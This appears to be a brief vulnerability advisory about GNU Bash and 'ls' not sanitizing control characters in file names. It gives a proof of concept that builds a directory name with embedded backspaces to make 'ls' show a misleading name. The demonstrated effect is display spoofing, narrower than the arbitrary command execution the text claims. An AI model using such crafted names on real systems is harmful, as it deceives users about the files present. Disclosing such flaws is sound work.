GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command.
Attackers can exploit this issue to execute arbitrary commands in a bash terminal; other attacks may also be possible.
The following example is available:
1. mkdir $(echo -e 'couc\x08\x08asd')
2. ls
Displays:
coasd/
Expected:
couc??asd/
